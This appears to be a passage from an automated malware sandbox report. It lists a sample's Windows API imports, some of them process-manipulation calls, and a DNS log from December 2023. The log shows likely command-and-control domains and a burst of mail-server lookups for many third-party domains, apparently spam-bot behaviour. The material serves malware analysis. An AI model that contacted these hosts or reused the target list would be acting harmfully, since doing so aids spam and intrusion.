DebugActiveProcess, LocalUnlock, SetThreadContext, CommConfigDialogA, DebugActiveProcessStop, ConvertThreadToFiber, GlobalAddAtomA, InterlockedIncrement, ReadConsoleA, GetConsoleAliasA, HeapFree, GetEnvironmentStringsW, WriteConsoleInputA, SleepEx, GetFileAttributesExA, GetModuleHandleW, GetTickCount, GetCompressedFileSizeW, GetCommandLineA, GetConsoleCP, GlobalAlloc, SetFileShortNameW, LoadLibraryW, GetLocaleInfoW, ReadFileScatter, SetVolumeMountPointA, DeleteVolumeMountPointW, GlobalFlags, GetModuleFileNameW, FlushFileBuffers, GetShortPathNameA, GetNamedPipeHandleStateW, FindFirstFileA, GetCPInfoExW, GetLastError, GetCurrentDirectoryW, SetLastError, SetComputerNameA, LoadLibraryA, WriteConsoleA, OpenWaitableTimerW, FoldStringA, FindNextFileA, FindFirstVolumeMountPointA, GetModuleHandleA, UpdateResourceW, VirtualProtect, GetCPInfoExA, GetWindowsDirectoryW, GetProfileSectionW, CreateFileW, ReadFile, WriteConsoleW, LCMapStringW, InterlockedDecrement, Sleep, InterlockedExchange, InitializeCriticalSection, DeleteCriticalSection, EnterCriticalSection, LeaveCriticalSection, EncodePointer, DecodePointer, MoveFileA, DeleteFileA, HeapSetInformation, GetStartupInfoW, RaiseException, RtlUnwind, HeapAlloc, IsProcessorFeaturePresent, UnhandledExceptionFilter, SetUnhandledExceptionFilter, IsDebuggerPresent, TerminateProcess, GetCurrentProcess, HeapCreate, HeapDestroy, SetHandleCount, GetStdHandle, InitializeCriticalSectionAndSpinCount, GetFileType, SetFilePointer, HeapSize, GetProcAddress, ExitProcess, WriteFile, GetModuleFileNameA, FreeEnvironmentStringsW, WideCharToMultiByte, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, GetCurrentThreadId, GetCurrentThread, QueryPerformanceCounter, GetCurrentProcessId, GetSystemTimeAsFileTime, GetCPInfo, FatalAppExitA, GetACP, GetOEMCP, IsValidCodePage, GetUserDefaultLCID, GetLocaleInfoA, EnumSystemLocalesA, IsValidLocale, GetStringTypeW, MultiByteToWideChar, SetConsoleCtrlHandler, GetConsoleMode, SetStdHandle, HeapReAlloc, FreeLibrary, CloseHandle

USER32.dll

CharUpperBuffW, CharToOemBuffW, GetNextDlgTabItem

Network Behavior

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 20, 2023 03:12:17.365216970 CET	192.168.2.4	1.1.1.1	0x94c8	Standard query (0)	onualituyrs.org	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:12:17.665165901 CET	192.168.2.4	1.1.1.1	0x86c1	Standard query (0)	sumagulituyo.org	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:12:18.373008966 CET	192.168.2.4	1.1.1.1	0x721c	Standard query (0)	snukerukeutit.org	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:12:19.087414980 CET	192.168.2.4	1.1.1.1	0x27b7	Standard query (0)	lightseinsteniki.org	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:12:20.658919096 CET	192.168.2.4	1.1.1.1	0x7395	Standard query (0)	liuliuoumumy.org	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:12:21.999610901 CET	192.168.2.4	1.1.1.1	0x926f	Standard query (0)	stualialuyastrelia.net	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:12:29.245594978 CET	192.168.2.4	1.1.1.1	0xda08	Standard query (0)	breakfastchanneljw.fun	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:12:30.049371004 CET	192.168.2.4	1.1.1.1	0x8988	Standard query (0)	dayfarrichjwclik.fun	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:12:30.861454010 CET	192.168.2.4	1.1.1.1	0xceca	Standard query (0)	neighborhoodfeelsa.fun	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:12:31.546068907 CET	192.168.2.4	1.1.1.1	0xf9da	Standard query (0)	diagramfiremonkeyowwa.fun	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:12:38.358186960 CET	192.168.2.4	1.1.1.1	0xfddf	Standard query (0)	ftpvoyager.cc	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:12:41.684581995 CET	192.168.2.4	1.1.1.1	0xd338	Standard query (0)	shpilliwilli.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:12:44.245594025 CET	192.168.2.4	1.1.1.1	0x4a6	Standard query (0)	linkofstrumble.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:12:47.118491888 CET	192.168.2.4	1.1.1.1	0x162f	Standard query (0)	cream.hitsturbo.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:10.141693115 CET	192.168.2.4	1.1.1.1	0x23dd	Standard query (0)	humydrole.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:17.033719063 CET	192.168.2.4	1.1.1.1	0x5fba	Standard query (0)	schelberg.net	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:17.034121990 CET	192.168.2.4	1.1.1.1	0x5771	Standard query (0)	churchofscientology.orguk	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:17.034516096 CET	192.168.2.4	1.1.1.1	0xa5d4	Standard query (0)	lisvankooten.com	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:17.063956022 CET	192.168.2.4	1.1.1.1	0xbd31	Standard query (0)	a4f53bcfebc986c4.com	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:17.064246893 CET	192.168.2.4	1.1.1.1	0x760	Standard query (0)	copyset.com	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:17.065800905 CET	192.168.2.4	1.1.1.1	0x85de	Standard query (0)	8f7940a0023aab5c.com	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:17.066203117 CET	192.168.2.4	1.1.1.1	0x9a9c	Standard query (0)	plastikolor.com	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:17.066585064 CET	192.168.2.4	1.1.1.1	0x62ca	Standard query (0)	calebandersondesigns.com	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:17.068245888 CET	192.168.2.4	1.1.1.1	0xff0a	Standard query (0)	a2b-internet.com	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:17.068571091 CET	192.168.2.4	1.1.1.1	0xc7d6	Standard query (0)	collinsgordonhenry.com	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:17.081537962 CET	192.168.2.4	1.1.1.1	0x2b65	Standard query (0)	janicearies.com	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:17.082143068 CET	192.168.2.4	1.1.1.1	0x7d8e	Standard query (0)	8d560e557e715856.com	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:17.094652891 CET	192.168.2.4	1.1.1.1	0xc8de	Standard query (0)	nationwide-claims.com	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:17.095534086 CET	192.168.2.4	1.1.1.1	0x957b	Standard query (0)	yokohamaichigoichie.com	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:17.110685110 CET	192.168.2.4	1.1.1.1	0xf8af	Standard query (0)	woldsweather.plus.com	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:17.111016035 CET	192.168.2.4	1.1.1.1	0x82cb	Standard query (0)	mobiamericas.com	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:17.119523048 CET	192.168.2.4	1.1.1.1	0x7091	Standard query (0)	9ef1e72a04361055.com	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:17.119776964 CET	192.168.2.4	1.1.1.1	0xf110	Standard query (0)	choctawcasino.com	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:17.120009899 CET	192.168.2.4	1.1.1.1	0xe499	Standard query (0)	sadowsky.webatu.com	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:17.121227026 CET	192.168.2.4	1.1.1.1	0xc436	Standard query (0)	activegraphics.com	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:17.121722937 CET	192.168.2.4	1.1.1.1	0x41e2	Standard query (0)	london.com.tr	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:17.121912003 CET	192.168.2.4	1.1.1.1	0xa14a	Standard query (0)	orangutech.com	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:17.122713089 CET	192.168.2.4	1.1.1.1	0x5a47	Standard query (0)	a4f53bcfebc986c4.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:17.123378992 CET	192.168.2.4	1.1.1.1	0x6e68	Standard query (0)	habbocentral.net	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:17.123600006 CET	192.168.2.4	1.1.1.1	0x474d	Standard query (0)	rosetre.com	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:17.125562906 CET	192.168.2.4	1.1.1.1	0x4769	Standard query (0)	rehau.com.mk	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:17.125889063 CET	192.168.2.4	1.1.1.1	0x498d	Standard query (0)	centurylaboratories.com	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:17.127370119 CET	192.168.2.4	1.1.1.1	0x5081	Standard query (0)	ontariobluejays.com	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:17.127664089 CET	192.168.2.4	1.1.1.1	0x3f17	Standard query (0)	eb-concept.com	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:17.129044056 CET	192.168.2.4	1.1.1.1	0xc659	Standard query (0)	dako.netai.net	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:17.129319906 CET	192.168.2.4	1.1.1.1	0x482	Standard query (0)	directservbms.com	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:17.131405115 CET	192.168.2.4	1.1.1.1	0x3788	Standard query (0)	radiomaria.orgar	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:17.143878937 CET	192.168.2.4	1.1.1.1	0x82a4	Standard query (0)	ba02867e18351c89.com	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:17.146711111 CET	192.168.2.4	1.1.1.1	0xd013	Standard query (0)	ornos.com	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:17.147016048 CET	192.168.2.4	1.1.1.1	0x9308	Standard query (0)	floridasun.org	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:17.149549961 CET	192.168.2.4	1.1.1.1	0xd41f	Standard query (0)	tiltdesign.com	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:17.149844885 CET	192.168.2.4	1.1.1.1	0xb398	Standard query (0)	newriverclimbing.com	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:17.152153969 CET	192.168.2.4	1.1.1.1	0x76c	Standard query (0)	bookmyrace.com	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:17.186561108 CET	192.168.2.4	1.1.1.1	0xb0ba	Standard query (0)	yjprwlto.com	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:17.500840902 CET	192.168.2.4	1.1.1.1	0x3254	Standard query (0)	copyset.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:17.501204014 CET	192.168.2.4	1.1.1.1	0x5c38	Standard query (0)	leuadxqqqn.com	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:17.503418922 CET	192.168.2.4	1.1.1.1	0xbdd6	Standard query (0)	micresearch.net	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:17.503660917 CET	192.168.2.4	1.1.1.1	0x9ce8	Standard query (0)	ecochild.com.au	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:17.503896952 CET	192.168.2.4	1.1.1.1	0xcbe8	Standard query (0)	sgeg-usa.com	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:17.504095078 CET	192.168.2.4	1.1.1.1	0x2ed6	Standard query (0)	calebandersondesigns.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:17.505029917 CET	192.168.2.4	1.1.1.1	0xdeac	Standard query (0)	a2b-internet.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:17.505361080 CET	192.168.2.4	1.1.1.1	0x2d90	Standard query (0)	plastikolor.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:17.505644083 CET	192.168.2.4	1.1.1.1	0x5cb6	Standard query (0)	8d560e557e715856.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:17.505867004 CET	192.168.2.4	1.1.1.1	0x12f2	Standard query (0)	collinsgordonhenry.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:17.506109953 CET	192.168.2.4	1.1.1.1	0x738d	Standard query (0)	janicearies.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:17.514127016 CET	192.168.2.4	1.1.1.1	0x356	Standard query (0)	smithstar.com	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:17.514791012 CET	192.168.2.4	1.1.1.1	0x8d61	Standard query (0)	nicsonsconcrete.com.au	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:17.515500069 CET	192.168.2.4	1.1.1.1	0xea38	Standard query (0)	bookmyrace.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:17.515782118 CET	192.168.2.4	1.1.1.1	0x5e4b	Standard query (0)	centurylaboratories.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:17.516041994 CET	192.168.2.4	1.1.1.1	0xdbe2	Standard query (0)	choctawcasino.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:17.516305923 CET	192.168.2.4	1.1.1.1	0x5ac4	Standard query (0)	sadowsky.webatu.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:17.516536951 CET	192.168.2.4	1.1.1.1	0xc6cb	Standard query (0)	london.com.tr	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:17.516736984 CET	192.168.2.4	1.1.1.1	0x19f4	Standard query (0)	habbocentral.net	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:17.516983986 CET	192.168.2.4	1.1.1.1	0xb7ec	Standard query (0)	orangutech.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:17.517256021 CET	192.168.2.4	1.1.1.1	0x756	Standard query (0)	rosetre.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:17.517487049 CET	192.168.2.4	1.1.1.1	0x892e	Standard query (0)	rehau.com.mk	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:17.517901897 CET	192.168.2.4	1.1.1.1	0x34fc	Standard query (0)	radiomaria.orgar	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:17.518099070 CET	192.168.2.4	1.1.1.1	0xc401	Standard query (0)	directservbms.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:17.518378973 CET	192.168.2.4	1.1.1.1	0x81a8	Standard query (0)	floridasun.org	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:17.518785000 CET	192.168.2.4	1.1.1.1	0x7656	Standard query (0)	ornos.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:17.519098043 CET	192.168.2.4	1.1.1.1	0x669e	Standard query (0)	activegraphics.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:17.519705057 CET	192.168.2.4	1.1.1.1	0xbfaf	Standard query (0)	9ef1e72a04361055.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:17.520152092 CET	192.168.2.4	1.1.1.1	0xc6a5	Standard query (0)	newriverclimbing.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:17.520582914 CET	192.168.2.4	1.1.1.1	0x286b	Standard query (0)	mobiamericas.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:17.522044897 CET	192.168.2.4	1.1.1.1	0xd65d	Standard query (0)	8f7940a0023aab5c.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:17.524199009 CET	192.168.2.4	1.1.1.1	0xf09b	Standard query (0)	ontariobluejays.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:17.526576042 CET	192.168.2.4	1.1.1.1	0xa66b	Standard query (0)	ba02867e18351c89.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:17.527070045 CET	192.168.2.4	1.1.1.1	0xb79d	Standard query (0)	yokohamaichigoichie.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:17.527561903 CET	192.168.2.4	1.1.1.1	0xfba8	Standard query (0)	woldsweather.plus.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:17.528043032 CET	192.168.2.4	1.1.1.1	0x27c2	Standard query (0)	nationwide-claims.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:17.531240940 CET	192.168.2.4	1.1.1.1	0xa4b8	Standard query (0)	tiltdesign.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:17.532958984 CET	192.168.2.4	1.1.1.1	0x15c7	Standard query (0)	dako.netai.net	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:17.561678886 CET	192.168.2.4	1.1.1.1	0xb4b3	Standard query (0)	filmboxstudios.com	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:17.561678886 CET	192.168.2.4	1.1.1.1	0xa2ce	Standard query (0)	meltonhome.com	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:17.562179089 CET	192.168.2.4	1.1.1.1	0xd1dc	Standard query (0)	walshfam.com	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:17.615348101 CET	192.168.2.4	1.1.1.1	0x2c59	Standard query (0)	goaeta.com	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:17.615348101 CET	192.168.2.4	1.1.1.1	0x8cb3	Standard query (0)	tgcan.com	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:17.615916967 CET	192.168.2.4	1.1.1.1	0x7d87	Standard query (0)	dm.famm.us	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:17.626735926 CET	192.168.2.4	1.1.1.1	0x77ca	Standard query (0)	conalcorp.com	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:17.627975941 CET	192.168.2.4	1.1.1.1	0xbb1e	Standard query (0)	kingshit.com	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:17.628453016 CET	192.168.2.4	1.1.1.1	0x1bac	Standard query (0)	jayshreeautomation.com	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:17.628940105 CET	192.168.2.4	1.1.1.1	0xc3b2	Standard query (0)	gatewayseweranddrain.com	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:17.629379034 CET	192.168.2.4	1.1.1.1	0xb68d	Standard query (0)	geoffreynolds.com.au	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:17.629852057 CET	192.168.2.4	1.1.1.1	0xc98c	Standard query (0)	nothingbutmiraclesphotography.com	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:17.630258083 CET	192.168.2.4	1.1.1.1	0x9c8	Standard query (0)	wethepros.com	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:17.630812883 CET	192.168.2.4	1.1.1.1	0x4ae1	Standard query (0)	sachem.com.ar	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:17.631355047 CET	192.168.2.4	1.1.1.1	0x7e57	Standard query (0)	crayzrocker.org	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:17.636789083 CET	192.168.2.4	1.1.1.1	0x1445	Standard query (0)	onjevilla.com	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:17.637307882 CET	192.168.2.4	1.1.1.1	0x7f97	Standard query (0)	remafer.com	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:17.638722897 CET	192.168.2.4	1.1.1.1	0xcb8b	Standard query (0)	rmckenna.com	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:17.639230967 CET	192.168.2.4	1.1.1.1	0xbb31	Standard query (0)	cummingscreativegroup.net	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:17.639873028 CET	192.168.2.4	1.1.1.1	0x37d7	Standard query (0)	greenlawnfertilizing.com	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:17.640419960 CET	192.168.2.4	1.1.1.1	0xaacb	Standard query (0)	nymalegigolos.com	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:17.641304970 CET	192.168.2.4	1.1.1.1	0x610d	Standard query (0)	dlirfo.com	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:17.641304970 CET	192.168.2.4	1.1.1.1	0xf331	Standard query (0)	jgarch.com	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:17.641802073 CET	192.168.2.4	1.1.1.1	0xca1a	Standard query (0)	blackdesign.com.sg	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:17.642281055 CET	192.168.2.4	1.1.1.1	0x13b0	Standard query (0)	jcdnc.org	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:17.642816067 CET	192.168.2.4	1.1.1.1	0x8dcc	Standard query (0)	vaoypo.com	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:17.643273115 CET	192.168.2.4	1.1.1.1	0xc810	Standard query (0)	lum-gaming.com	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:19.053484917 CET	192.168.2.4	1.1.1.1	0x3f17	Standard query (0)	eb-concept.com	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:19.055283070 CET	192.168.2.4	1.1.1.1	0xc6cb	Standard query (0)	london.com.tr	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:19.055325031 CET	192.168.2.4	1.1.1.1	0x892e	Standard query (0)	rehau.com.mk	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:19.055488110 CET	192.168.2.4	1.1.1.1	0xbb1e	Standard query (0)	kingshit.com	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:19.055505991 CET	192.168.2.4	1.1.1.1	0x9c8	Standard query (0)	wethepros.com	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:19.055530071 CET	192.168.2.4	1.1.1.1	0xca1a	Standard query (0)	blackdesign.com.sg	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:19.332434893 CET	192.168.2.4	1.1.1.1	0x6b49	Standard query (0)	schelberg.net	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:19.332926035 CET	192.168.2.4	1.1.1.1	0xb3eb	Standard query (0)	churchofscientology.orguk	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:19.333211899 CET	192.168.2.4	1.1.1.1	0xb1d0	Standard query (0)	njbkrl.com	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:19.333563089 CET	192.168.2.4	1.1.1.1	0x4da3	Standard query (0)	thomchick.net	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:19.333935022 CET	192.168.2.4	1.1.1.1	0x1aa5	Standard query (0)	lisvankooten.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:19.334237099 CET	192.168.2.4	1.1.1.1	0xe4a6	Standard query (0)	eb-concept.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:19.334625006 CET	192.168.2.4	1.1.1.1	0x347e	Standard query (0)	yjprwlto.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:19.360774994 CET	192.168.2.4	1.1.1.1	0xac6a	Standard query (0)	leuadxqqqn.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:19.361294985 CET	192.168.2.4	1.1.1.1	0xcfa9	Standard query (0)	micresearch.net	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:19.361730099 CET	192.168.2.4	1.1.1.1	0x33c4	Standard query (0)	ecochild.com.au	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:19.362303019 CET	192.168.2.4	1.1.1.1	0xaecc	Standard query (0)	sgeg-usa.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:19.362839937 CET	192.168.2.4	1.1.1.1	0x504e	Standard query (0)	smithstar.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:19.363270998 CET	192.168.2.4	1.1.1.1	0x5f5d	Standard query (0)	nicsonsconcrete.com.au	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:19.365768909 CET	192.168.2.4	1.1.1.1	0x83d1	Standard query (0)	aspmx5.googlemail.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:19.367062092 CET	192.168.2.4	1.1.1.1	0x4805	Standard query (0)	theseekerchurch.com	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:19.367347956 CET	192.168.2.4	1.1.1.1	0xbc03	Standard query (0)	shopeeten.com	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:19.368005037 CET	192.168.2.4	1.1.1.1	0x7253	Standard query (0)	filmboxstudios.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:19.368875980 CET	192.168.2.4	1.1.1.1	0x1797	Standard query (0)	meltonhome.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:19.369575977 CET	192.168.2.4	1.1.1.1	0x7a57	Standard query (0)	walshfam.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:19.369925022 CET	192.168.2.4	1.1.1.1	0x6007	Standard query (0)	tgcan.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:19.370224953 CET	192.168.2.4	1.1.1.1	0x960b	Standard query (0)	lum-gaming.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:19.370414019 CET	192.168.2.4	1.1.1.1	0xfad4	Standard query (0)	vaoypo.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:19.370702982 CET	192.168.2.4	1.1.1.1	0xec36	Standard query (0)	rmckenna.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:19.386712074 CET	192.168.2.4	1.1.1.1	0x6ac7	Standard query (0)	greenlawnfertilizing.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:19.386909008 CET	192.168.2.4	1.1.1.1	0x85f8	Standard query (0)	dlirfo.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:19.387140989 CET	192.168.2.4	1.1.1.1	0x2cc	Standard query (0)	conalcorp.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:19.388092995 CET	192.168.2.4	1.1.1.1	0xfc98	Standard query (0)	crayzrocker.org	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:19.388596058 CET	192.168.2.4	1.1.1.1	0x243	Standard query (0)	dm.famm.us	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:19.389173031 CET	192.168.2.4	1.1.1.1	0xfd5b	Standard query (0)	nothingbutmiraclesphotography.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:19.472443104 CET	192.168.2.4	1.1.1.1	0x6943	Standard query (0)	geoffreynolds.com.au	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:19.472683907 CET	192.168.2.4	1.1.1.1	0xe398	Standard query (0)	cummingscreativegroup.net	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:19.473325014 CET	192.168.2.4	1.1.1.1	0xf3b2	Standard query (0)	sachem.com.ar	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:19.473568916 CET	192.168.2.4	1.1.1.1	0xe2cd	Standard query (0)	jgarch.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:19.473691940 CET	192.168.2.4	1.1.1.1	0x2ca5	Standard query (0)	nymalegigolos.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:19.474066019 CET	192.168.2.4	1.1.1.1	0x77e8	Standard query (0)	jcdnc.org	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:19.474659920 CET	192.168.2.4	1.1.1.1	0xe456	Standard query (0)	aspmx.l.google.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:19.477170944 CET	192.168.2.4	1.1.1.1	0x9efc	Standard query (0)	goaeta.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:19.478065014 CET	192.168.2.4	1.1.1.1	0xa691	Standard query (0)	onjevilla.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:19.478864908 CET	192.168.2.4	1.1.1.1	0xcf39	Standard query (0)	mobiamericas-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:19.515783072 CET	192.168.2.4	1.1.1.1	0x93de	Standard query (0)	jayshreeautomation.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:19.534034014 CET	192.168.2.4	1.1.1.1	0xe54b	Standard query (0)	mail.rosetre.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:19.542901039 CET	192.168.2.4	1.1.1.1	0x632c	Standard query (0)	alt2.aspmx.l.google.com	A (IP address)	IN (0x0001)	false
